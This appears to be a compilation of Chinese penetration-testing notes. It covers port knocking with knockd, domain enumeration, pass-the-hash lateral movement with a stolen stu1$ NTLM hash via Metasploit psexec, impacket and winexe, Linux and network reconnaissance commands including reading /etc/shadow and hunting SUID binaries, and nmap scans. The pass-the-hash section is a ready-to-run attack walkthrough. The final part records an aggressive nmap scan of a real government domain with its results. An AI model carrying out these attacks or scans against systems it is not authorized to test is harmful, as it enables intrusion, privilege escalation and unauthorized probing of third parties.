### 🔐 Port Knocking（端口敲门）简介

Port Knocking**（端口敲门）是一种基于网络通信的隐蔽技术，用于在未经授权的情况下隐藏网络服务的入口点。只有完成特定的**敲门序列**（特定端口的访问顺序或数据模式）后，目标系统的服务端口才会开放，允许后续的通信。

这种技术主要应用于增强网络安全，防止端口扫描和未授权访问。

---

### 🛠 **Port Knocking 的工作原理

1. 默认端口关闭
服务器的服务端口（如 SSH、RDP 等）在默认状态下是关闭的，不响应连接请求。

2. 敲门序列检测
客户端按照一定顺序（例如 TCP/UDP 包的目标端口号）尝试连接预定义的端口。这些连接不会真正打开端口，而是作为敲门信号被监听器记录。

3. 验证敲门序列
服务器的 Port Knocking 守护进程会验证客户端发出的敲门序列是否正确。如果匹配，目标服务端口（如 22 号 SSH 端口）会临时开放。

4. 建立连接
客户端在目标端口开放后，可以正常连接到服务，完成通信。

5. 端口关闭
在设定的时间后，端口会重新关闭，恢复隐蔽状态。

---

### 🧩 Port Knocking 的常见实现方式

1. 基于 TCP/UDP 端口扫描
客户端按顺序尝试连接几个特定的 TCP/UDP 端口。例如，敲击顺序为 `1234 -> 5678 -> 91011`，正确的顺序才能触发端口开放。

2. 基于特定数据包的 Payload
通过在敲门包中嵌入密码或加密信息，进一步增强安全性。

3. 隐蔽型敲门
使用非标准端口号或特定协议（如 ICMP Ping 包）作为敲门信号。

---

### 🛡 Port Knocking 的优缺点

#### 优点：
1. 增强安全性：
隐藏端口，避免被简单的端口扫描工具发现。

2. 轻量化：
不需要占用大量资源或额外的网络带宽。

3. 兼容性强：
可用于现有的防火墙和服务配置。

#### 缺点：
1. 容易被监控或重放攻击利用：
如果敲门序列是明文传输，可能被监听并复制。

2. 复杂性增加：
客户端和服务端的配置可能不直观，导致管理和使用不便。

3. 对错误序列的容错性低：
敲门顺序或网络延迟可能导致误触发。

---

### 🔧 Port Knocking 实现示例

以下是基于 iptables 和 knockd 的实现示例：

#### 服务端配置：
1. 安装 `knockd`：

   sudo apt install knockd
   

2. 编辑 /etc/knockd.conf 配置文件：

   [options]
   logfile = /var/log/knockd.log

   [openSSH]
   sequence = 7000,8000,9000
   seq_timeout = 5
   command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags = syn

   [closeSSH]
   sequence = 9000,8000,7000
   seq_timeout = 5
   command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags = syn
   

3. 启动 `knockd`：

   sudo systemctl start knockd
   

#### 客户端敲门：
使用 `knock` 命令：

knock 192.168.1.100 7000 8000 9000
ssh user@192.168.1.100

---

### 🌐 Port Knocking 的应用场景
1. 隐藏敏感服务端口：
防止 SSH、VPN 等端口被暴力破解工具攻击。

2. 应急接入机制：
在无需长期暴露端口的情况下，为管理员提供备用访问通道。

3. 网络蜜罐增强：
配合蜜罐系统，诱导攻击者触发错误敲门序列，记录其行为。

---

### 🚀 增强安全的建议
1. 使用加密的敲门序列：
结合加密协议（如 HMAC）确保序列不被嗅探和伪造。

2. 结合动态防火墙：
配置时限短的动态规则，减少端口开放时间。

3. 审计和监控：
定期检查 knockd 的日志，发现异常敲门行为。

---

### 🔑 关键词
#PortKnocking #端口敲门 #网络安全 #隐蔽技术 #防火墙

### 内网域信息探测与利用 stu1$ 进行域渗透

在渗透测试中，域信息探测和利用计算机账户（如 stu1$`）进行域渗透是常见的攻击步骤。下面，我会分别讲解如何进行域信息探测以及如何利用 `stu1$ 进行域渗透。

### 1. 内网域信息探测
在对内网进行渗透时，首先需要了解目标网络的域信息，特别是关于域控制器、域名、计算机账户等。你可以通过以下方法获取内网域信息：

#### 1.1. 使用 Nmap 执行域扫描
Nmap 提供了一些脚本，可以帮助你快速探测目标网络中的域信息。以下是几种常见的 Nmap 脚本：

- 扫描域控制器**：
使用 `nmap` 的 `--script` 参数来扫描目标网络中的域控制器：
```bash
nmap -p 445 --script smb-os-fingerprint,smb-enum-domains,smb-enum-users <目标IP>
```
- `smb-enum-domains`：枚举网络中的域。
- `smb-enum-users`：枚举域中的用户账户。
- `smb-os-fingerprint`：识别目标系统的操作系统版本。

#### 1.2. **使用 SMB 扫描域信息
你可以使用 `smbclient` 工具来探测域和计算机信息。以下命令可以列出目标网络中的共享信息：

smbclient -L //<目标IP> -U <用户名>

这个命令会列出目标主机的 SMB 共享，并显示域信息。如果你没有用户名，可以尝试匿名登录：

smbclient -L //<目标IP> -U guest

#### 1.3. 使用 Enum4Linux 获取域信息
enum4linux 是一个强大的工具，用于从 Windows 主机（特别是域控制器）收集信息。你可以使用它来探测域名、域用户、计算机账户等信息：

enum4linux -a <目标IP>

该命令将显示大量的域信息，包括用户、组、计算机等。

#### 1.4. 查询域控制器的 DNS 信息
使用 nslookup 或 dig 查询域控制器的 DNS 记录：

nslookup -type=SRV _ldap._tcp.<domain>

这将显示与目标域相关的 LDAP 服务信息，帮助你定位域控制器。

### 2. 利用 `stu1$` 进行域渗透
stu1$ 是一个计算机账户，它通常在域中代表计算机或工作站（以 $ 结尾）。利用 stu1$ 进行域渗透通常涉及使用计算机账户的 NTLM 哈希进行身份验证，尤其是在通过 Windows 域网络进行横向移动时。

#### 2.1. 理解 `stu1$` 计算机账户
计算机账户（以 $ 结尾）通常具有与域用户相同的权限，它们用于 Windows 域控制器上的身份验证。由于你已经获得了 stu1$ 计算机账户的 NTLM 哈希，你可以尝试使用它来在网络中进行身份验证或横向移动。

#### 2.2. 使用 `stu1$` 进行横向渗透
一旦你获得了 stu1$ 计算机账户的 NTLM 哈希，你可以使用工具如 psexec`、`wmiexec 或 smbexec 来进行横向渗透。这些工具允许你利用 NTLM 哈希进行身份验证，并在远程主机上执行命令。

- 使用 Psexec (Metasploit 的 psexec 模块)**：
```bash
use exploit/windows/smb/psexec
set RHOSTS <目标IP>
set SMBUser stu1$
set SMBPass <stu1$的NTLM哈希>
exploit
```

或者使用 `psexec.py` 工具：
```bash
python psexec.py stu1$:<stu1$的NTLM哈希>@<目标IP>
```

这将允许你使用 `stu1$` 账户（通过其 NTLM 哈希）执行远程命令。

#### 2.3. **利用 Pass-the-Hash 进行身份验证
通过 Pass-the-Hash 攻击，使用已获取的 NTLM 哈希直接进行身份验证，而无需明文密码。你可以利用 pth 工具包（如 `impacket`）进行攻击：

impacket-psexec stu1$:<stu1$的NTLM哈希>@<目标IP>

或者使用 `pth-winexe`：

winexe -U "stu1$%<stu1$的NTLM哈希>" //<目标IP> "cmd.exe"

这样，你就能在目标主机上执行命令，并获取访问权限。

#### 2.4. 进一步利用计算机账户
如果 `stu1$` 计算机账户属于域管理员组（例如 `Domain Admins`），你可以利用它来进行更深入的渗透操作，获取更高权限的访问。

- 通过 `net group` 命令列出域管理员组：

  net group "Domain Admins" /domain
  

如果 stu1$ 计算机账户属于该组，你可以尝试通过该账户获取域管理员权限。

### 3. 总结
- **域信息探测**：通过 Nmap、enum4linux、SMB 等工具，你可以收集内网的域信息、计算机账户、共享资源等。
- **利用 stu1$ 进行域渗透**：通过 Pass-the-Hash 攻击、psexec 或 Winexe，你可以利用 stu1$ 计算机账户的 NTLM 哈希进行远程命令执行和横向渗透。

这些步骤将帮助你在内网中利用计算机账户进行有效的域渗透，进一步获得对目标网络的控制。

#域渗透 #PassTheHash #stu1$ #Metasploit #Nmap #SMB #横向渗透 #网络渗透

### 在 Metasploit 中对网段进行扫描并存储到工作区

Metasploit 提供了一些强大的功能来进行网络扫描和渗透测试，您可以将扫描结果存储到特定的工作区中，以便后续使用和分析。以下是如何在 Metasploit 中对一个网段进行扫描并将结果存储到特定工作区的步骤。

#### 1. 创建并切换工作区

首先，确保您已创建一个新的工作区，并切换到该工作区。您可以使用 workspace 命令创建和切换工作区。

- 创建一个新的工作区：

  workspace -a my_workspace
  

- 切换到已创建的工作区：

  workspace my_workspace
  

#### 2. 使用 `db_nmap` 扫描网段

Metasploit 提供了 db_nmap 命令，用于对网段进行扫描并将结果自动保存到数据库中（包含工作区）。`db_nmap` 是 nmap 命令的扩展，可以将 Nmap 扫描结果直接导入 Metasploit 数据库。

例如，要对整个网段进行扫描，您可以执行以下命令：

- 执行 Nmap 扫描并将结果存入数据库：

  db_nmap -sP 192.168.1.0/24
  

这个命令会执行一个简单的 Ping 扫描 (-sP)，它会检查 192.168.1.0 到 192.168.1.255 范围内的所有主机是否在线，并将结果存储到当前工作区的数据库中。

- 执行完整的端口扫描并存储结果：

  db_nmap -p 1-65535 192.168.1.0/24
  

这将扫描网段内的所有主机和端口，并将结果保存到数据库。

#### 3. 查看扫描结果

扫描完成后，您可以通过以下命令查看扫描到的主机、服务和漏洞信息：

- 查看扫描到的主机：

  hosts
  

- 查看扫描到的服务：

  services
  

- 查看漏洞信息：

  vulns
  

#### 4. 进一步操作

一旦您完成了扫描并收集了数据，您可以使用 Metasploit 中的其他模块（例如漏洞利用模块、攻击模块等）对扫描到的目标进行进一步渗透测试。

#### 示例命令：

msfconsole
workspace -a my_workspace    # 创建并切换到工作区
db_nmap -sS -p 80,443 192.168.1.0/24  # 执行 SYN 扫描，扫描 HTTP 和 HTTPS 端口
hosts                        # 查看扫描到的主机

### 关键词
#Metasploit #db_nmap #网段扫描 #工作区 #nmap扫描 #渗透测试

### 在 Windows 中查看本机端口使用情况

在 Windows 上查看端口使用情况，可以使用多种工具和命令。最常用的是通过 命令提示符 中的 netstat 命令或者 PowerShell**，以及 **资源监视器 来查看端口的使用情况。

### 1. 使用 `netstat` 命令

netstat 是一个非常常用的网络工具，可以查看当前网络连接、端口占用、以及网络统计信息。

#### 查看所有端口和连接状态：

netstat -an

- `-a`：显示所有连接和监听的端口。
- `-n`：以数字形式显示地址和端口（避免进行 DNS 解析）。

#### 查看特定端口的占用情况：
例如，查看 80 端口的占用情况：

netstat -an | findstr :80

#### 查看端口及其对应的进程：
要查看端口和对应的进程信息，可以使用：

netstat -ano

- `-o`：显示与每个连接相关的进程 ID（PID）。

查看特定端口与进程关联：

netstat -ano | findstr :80

#### 根据 PID 查找对应的程序：
通过 `netstat` 获得进程 ID（PID）后，可以在任务管理器中查找对应的进程，或者使用以下命令查看：

tasklist | findstr <PID>

### 2. 使用 PowerShell

PowerShell 提供了比 netstat 更强大的功能，能够轻松查看端口和进程的详细信息。

#### 查看所有监听端口：

Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}

这将列出所有处于监听状态的 TCP 连接和端口。

#### 查看特定端口的占用情况：

Get-NetTCPConnection -LocalPort 80

#### 查看进程与端口映射关系：

Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,State,OwningProcess

可以结合进程 ID（OwningProcess）查找具体进程。

### 3. 使用资源监视器（Resource Monitor）

Windows 资源监视器也提供了图形界面来查看端口的使用情况。

#### 步骤：
1. 打开任务管理器：右键任务栏，选择“任务管理器”。
2. 切换到“性能”标签页。
3. 点击“打开资源监视器”。
4. 在“网络”标签页下，点击“监听端口”部分，即可查看当前所有正在监听的端口及其对应的进程。

### 4. 使用 TCPView

[TCPView](https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview) 是 Sysinternals 提供的一款小工具，可以实时显示所有端口的状态，包括每个端口的详细信息，且支持排序、刷新和杀死进程。

#### 使用步骤：
1. 下载并运行 TCPView 工具。
2. 它将列出所有活动的 TCP/UDP 端口，并显示每个端口的进程和状态。

### 总结

在 Windows 上查看端口使用情况，最常见的方式是使用 `netstat`、PowerShell 或资源监视器。根据需求，你可以选择使用命令行工具或图形化工具来查看本机端口的状态，进而了解系统的网络连接和端口占用情况。

#Windows #端口 #netstat #PowerShell #TCPView #资源监视器 #任务管理器 #网络配置

Docs

TCPView for Windows - Sysinternals

Active socket command-line viewer.

### 从路由等途径收集目标机器内网信息的方法

在渗透测试中，获取目标机器的内网信息（如网段、网关、子网掩码等）是非常重要的步骤。以下是常用的方法和命令，通过各种途径收集内网信息：

#### 1. 使用路由信息
- `ip route` 或 `route -n`**：显示内网路由表信息，帮助识别目标机器的网关和路由器等。
```bash
ip route
# 或者
route -n
```
- 输出中，`default` 表示默认网关。
- 网段信息有助于判断目标所在的内网范围。

#### 2. **查看ARP缓存
- `arp -a`**：显示ARP缓存中的局域网内其他设备的IP和MAC地址，帮助识别同一网段的其他设备。
```bash
arp -a
```

#### 3. **扫描局域网中的设备
- `nmap`扫描**：使用`nmap`对目标内网网段进行扫描，查找活动设备及开放端口。
```bash
nmap -sn 192.168.1.0/24 # 例如扫描192.168.1.x网段的活动主机
nmap -sS -p 1-65535 192.168.1.1-254 # 全端口扫描
```

#### 4. **分析主机名和网络服务
- `nmblookup`**：用于局域网内NetBIOS主机名的查找，适合用于Windows网络环境。
```bash
nmblookup -A <目标IP>
```
- nbtscan：扫描NetBIOS协议下的设备信息，适用于查找Windows网络中的设备名称、IP等。
```bash
nbtscan 192.168.1.0/24
```

#### 5. **借助DHCP服务器信息
- 如果可以访问DHCP日志或其配置文件（如`/var/lib/dhcp/dhcpd.leases`），可以找到内网分配的IP地址列表。

     cat /var/lib/dhcp/dhcpd.leases  # 查看租约记录
     

#### 6. 查看网络接口和子网信息
- `ifconfig` 或 `ip a`**：查看当前设备的网络接口、IP地址和子网掩码，了解所在网段。
```bash
ip a
```
- ip -4 addr show：仅显示IPv4地址信息，便于查看内网IP和掩码。
```bash
ip -4 addr show
```

#### 7. **检查DNS配置
- `cat /etc/resolv.conf`**：查看DNS服务器信息，通常可以了解内网DNS服务器的IP，有时甚至能看到特定的内网域名。
```bash
cat /etc/resolv.conf
```

#### 8. **查看主机文件
- `cat /etc/hosts`**：在目标系统上，查看 `/etc/hosts` 文件是否有本地域名映射，以此了解其他内网设备信息。
```bash
cat /etc/hosts
```

#### 9. **从日志中提取网络信息
- 系统日志和应用日志有时记录网络请求或通信信息。查看日志文件，例如 /var/log/syslog`、/var/log/messages` 等，可能会有内网设备的IP或域名。

     grep -i "IP" /var/log/syslog  # 通过关键字查找IP记录
     

#### 10. 借助SMB或SNMP协议
- **SMB查询**：在Windows环境中，使用SMB协议与主机交互，可以获得主机名和其他网络信息。
- **SNMP**：如果启用了SNMP服务，可以尝试查询SNMP信息。SNMP可以提供大量网络信息（如路由表、设备信息），但需要具备一定权限。

     snmpwalk -v2c -c public <目标IP>  # 使用公共团体字符串“public”查询
     

### 示例汇总
将这些命令汇总在一起，可以进行内网信息收集的批量执行（注：需根据权限及工具可用性适当调整）：

ip route && arp -a && ip a && cat /etc/resolv.conf && nmap -sn 192.168.1.0/24 && cat /var/lib/dhcp/dhcpd.leases && cat /etc/hosts

这些方法可以帮助收集到目标系统的内网配置信息，为进一步的渗透提供网络环境方面的依据。

#内网信息收集 #路由分析 #ARP缓存 #Nmap扫描 #网络信息

### 常用Linux系统信息收集命令

在进行渗透测试或信息收集时，以下命令可以帮助收集目标系统的关键信息，便于更好地了解系统配置、用户权限、网络信息和运行的服务等。

#### 1. 用户与权限相关

- `id`**：显示当前用户的UID、GID及所属组信息。
```bash
id
```

- who 或 whoami：显示当前登录用户的详细信息。
```bash
who
```

- last：显示系统最近的登录记录，了解历史登录行为。
```bash
last
```

- cat /etc/passwd：查看系统中的用户列表（注意权限）。
```bash
cat /etc/passwd
```

- sudo -l：列出当前用户可执行的sudo命令，特别适用于查找可能的提权点。
```bash
sudo -l
```

#### 2. **系统配置和版本信息

- `uname -a`**：显示系统内核及操作系统的基本信息。
```bash
uname -a
```

- cat /etc/os-release 或 lsb_release -a：显示系统发行版本详细信息。
```bash
cat /etc/os-release
```

- hostnamectl：显示系统的主机名、内核版本和操作系统信息（在systemd系统上有效）。
```bash
hostnamectl
```

#### 3. **网络相关

- `ifconfig` 或 `ip a`**：查看网络接口信息，包括IP地址、MAC地址等。
```bash
ip a
```

- netstat -tuln 或 ss -tuln：列出当前系统监听的端口和对应的服务。
```bash
netstat -tuln
```

- iptables -L：查看防火墙配置规则，检查开放的端口和流量控制情况。
```bash
sudo iptables -L
```

- route 或 ip route：显示系统的路由表，了解网络通信路径。
```bash
ip route
```

#### 4. **进程和服务

- `ps aux`**：显示所有进程的详细信息，包括启动命令、权限、CPU、内存等资源占用。
```bash
ps aux
```

- top 或 htop：动态显示系统的CPU、内存使用情况及进程信息。
```bash
top
```

- systemctl list-units --type=service --state=running：列出当前运行的系统服务，适用于`systemd`服务管理的系统。
```bash
systemctl list-units --type=service --state=running
```

#### 5. **文件与目录权限

- `find / -perm -4000 2>/dev/null`**：查找系统中所有SUID位的文件，特别是可疑的SUID文件，这些可能提供提权的机会。
```bash
find / -perm -4000 2>/dev/null
```

- ls -al /etc/：列出`/etc`目录的详细文件权限，重点查看`passwd`和`shadow`等文件。
```bash
ls -al /etc/
```

- cat /etc/shadow：在获取了root权限的情况下，查看密码哈希（需要root权限）。
```bash
sudo cat /etc/shadow
```

#### 6. **计划任务

- `crontab -l`**：查看当前用户的计划任务。
```bash
crontab -l
```

- ls -la /etc/cron*：列出系统所有的计划任务文件。
```bash
ls -la /etc/cron*
```

#### 7. **系统日志

- `dmesg`**：显示系统启动和内核日志消息，可以了解硬件、驱动错误及其他启动信息。
```bash
dmesg
```

- cat /var/log/auth.log 或 cat /var/log/secure：检查系统的登录日志（auth.log 适用于Debian系，secure适用于Red Hat系）。
```bash
cat /var/log/auth.log
```

- journalctl：显示systemd系统的系统日志。
```bash
journalctl
```

#### 8. **环境与安装信息

- `env`**：显示当前用户的环境变量，可能包含有用的配置信息或敏感路径。
```bash
env
```

- dpkg -l 或 rpm -qa**：列出系统已安装的软件包（分别适用于Debian和Red Hat系）。

  dpkg -l
  

使用以上命令可以收集全面的系统信息，有助于渗透测试中的信息收集和漏洞分析。根据具体的渗透环境选择合适的命令组合，以提升测试的效率和效果。

whoami && id && uname -a && lsb_release -a && ip a && netstat -tuln && ps aux && df -h && crontab -l && ls -al /etc/cron* && cat /etc/passwd && find / -perm -4000 2>/dev/null

#Linux信息收集 #渗透测试 #系统信息 #网络信息

### SSH服务未启动的原因及解决方法

从输出信息来看，SSH服务（`ssh.service`）目前状态是**inactive（dead）**，说明服务未运行。可能的原因包括SSH服务未启动或未设置自启动。以下是具体的解决方法：

1. **启动SSH服务**：
尝试手动启动SSH服务，执行以下命令：

   sudo systemctl start ssh
   

2. **设置SSH服务开机自启动**：
为确保系统重启后SSH服务能够自动启动，执行以下命令：

   sudo systemctl enable ssh
   

3. **再次确认服务状态**：
重新检查SSH服务状态以确认是否已启动：

   sudo systemctl status ssh
   

完成上述步骤后，再尝试使用SSH连接到目标IP地址。如果仍然出现连接问题，请确认网络连接是否正常，以及防火墙或其他安全设置是否可能影响到SSH访问。

#SSH服务未启动 #Kali Linux #系统服务 #网络安全

nmap 收集信息：

### 1. 快速全端口扫描

sudo nmap --min-rate 10000 -p- 192.168.153.130
   

- 功能**：扫描目标 IP 地址（192.168.153.130）上的所有端口（1-65535）。
- **选项**：
- `--min-rate 10000`：设置最小扫描速率，每秒发送最少 10000 个数据包，加快扫描速度。
- `-p-`：扫描所有端口。
- **用途**：适用于需要快速发现目标主机上开放端口的场景。

### 2. **TCP 全连接扫描 + 服务版本识别 + 操作系统识别 + 默认脚本扫描

sudo nmap -sT -sV -sC -O -p 22,80 192.168.153.130
   

- 功能**：对目标 IP 地址执行 TCP 连接扫描（全连接），并同时执行服务版本识别、操作系统识别和默认的漏洞扫描脚本。
- **选项**：
- `-sT`：TCP 连接扫描（通过完整的三次握手连接目标主机端口）。
- `-sV`：服务版本识别，查找目标主机上运行的服务版本。
- `-sC`：执行 nmap 默认脚本（例如检测已知漏洞、配置问题等）。
- `-O`：操作系统识别。
- `-p 22,80`：仅扫描端口 22 和 80。
- **用途**：适用于详细的信息收集和漏洞识别，尤其是对常见的服务（如 SSH、HTTP）进行深度分析。

### 3. **UDP 扫描

sudo nmap -sU -p 22,80 192.168.153.130
   

- 功能**：对目标 IP 地址执行 UDP 扫描，扫描端口 22 和 80。
- **选项**：
- `-sU`：执行 UDP 扫描（与 TCP 扫描不同，UDP 扫描不会建立连接，通常较慢）。
- `-p 22,80`：扫描端口 22 和 80（通常这两个端口是 TCP 服务，但此命令是通过 UDP 扫描的）。
- **用途**：用于检测目标主机上的 UDP 服务，特别是在 UDP 协议上常用的服务。

### 4. **漏洞扫描

sudo nmap --script=vuln -p 22,80 192.168.153.130
   

- **功能**：对目标 IP 地址执行漏洞扫描，检查端口 22 和 80 是否存在已知的漏洞。
- **选项**：
- `--script=vuln`：启用 nmap 的漏洞扫描脚本（检查已知漏洞）。
- `-p 22,80`：扫描端口 22 和 80。
- **用途**：用于检测目标主机是否存在已知的安全漏洞，尤其适用于评估目标主机的安全性。

### 总结：
- **快速扫描**（第一个命令）适用于快速检测目标主机上开放的端口。
- **详细扫描**（第二个命令）用于获得目标的服务版本、操作系统信息和潜在漏洞。
- **UDP 扫描**（第三个命令）专门用于检测 UDP 协议上的服务，适用于识别不常见的 UDP 服务。
- **漏洞扫描**（第四个命令）通过漏洞脚本检查目标的已知漏洞，帮助识别潜在的安全风险。

这些命令可以帮助网络安全人员全面了解目标主机的开放端口、服务版本、操作系统信息，以及可能存在的安全漏洞。
#nmap #网络扫描 #漏洞扫描 #服务识别 #端口扫描

使用 nmap 执行不同扫描：

1. 第一个命令：
sudo nmap --min-rate 10000 -p- 192.168.153.130
这个命令对目标 IP 地址（192.168.153.130）执行端口扫描，使用 --min-rate 10000 设置扫描速度，意味着每秒最小发送 10,000 个数据包，`-p-` 表示扫描所有端口（1-65535）。

2. 第二个命令：
sudo nmap -sT -sV -sC -O -p 22,80 192.168.153.130
这个命令执行多种扫描：
- `-sT`：使用 TCP 连接扫描（全连接扫描）。
- `-sV`：尝试识别服务版本。
- `-sC`：使用默认的脚本扫描（可以帮助发现更多信息）。
- `-O`：启用操作系统识别。
- `-p 22,80`：仅扫描端口 22 和 80。

3. 第三个命令：
sudo nmap -sU -p 22,80 192.168.153.130
这个命令执行 UDP 扫描（使用 `-sU`），对目标 IP 地址的 22 和 80 端口进行扫描。UDP 扫描通常比 TCP 扫描慢，因为 UDP 是无连接协议，且不返回 ACK 包。

这些命令适用于快速和全面的网络扫描，帮助识别目标系统上开放的端口、服务版本以及其他潜在的安全信息。
#nmap #网络扫描 #TCP扫描 #UDP扫描

nmap -A -T4 fj.tobacco.gov.cn

基本信息：

IP 地址：112.51.0.152
主机状态：在线（响应时间：0.0056s）
开放端口：

80/tcp（HTTP）：
服务：Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
服务器：Microsoft-IIS/7.5
443/tcp（HTTPS）：
服务：Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
服务器：Microsoft-IIS/7.5
SSL 证书信息：
通用名：*.tobacco.gov.cn
组织名：国家烟草专卖局
有效期：从 2024-08-01 到 2025-08-01
HTTP 方法：

存在潜在风险的方法：TRACE。
操作系统信息：

识别到的操作系统是基于 Linux 的 Actiontec MI424WR-GEN3I 无线接入点，内核版本为 2.4.X。
网络拓扑：

网络距离：2 跳。
额外信息：

脚本检测结果显示时钟偏差为 1 秒。

#Nmap #网络安全 #信息收集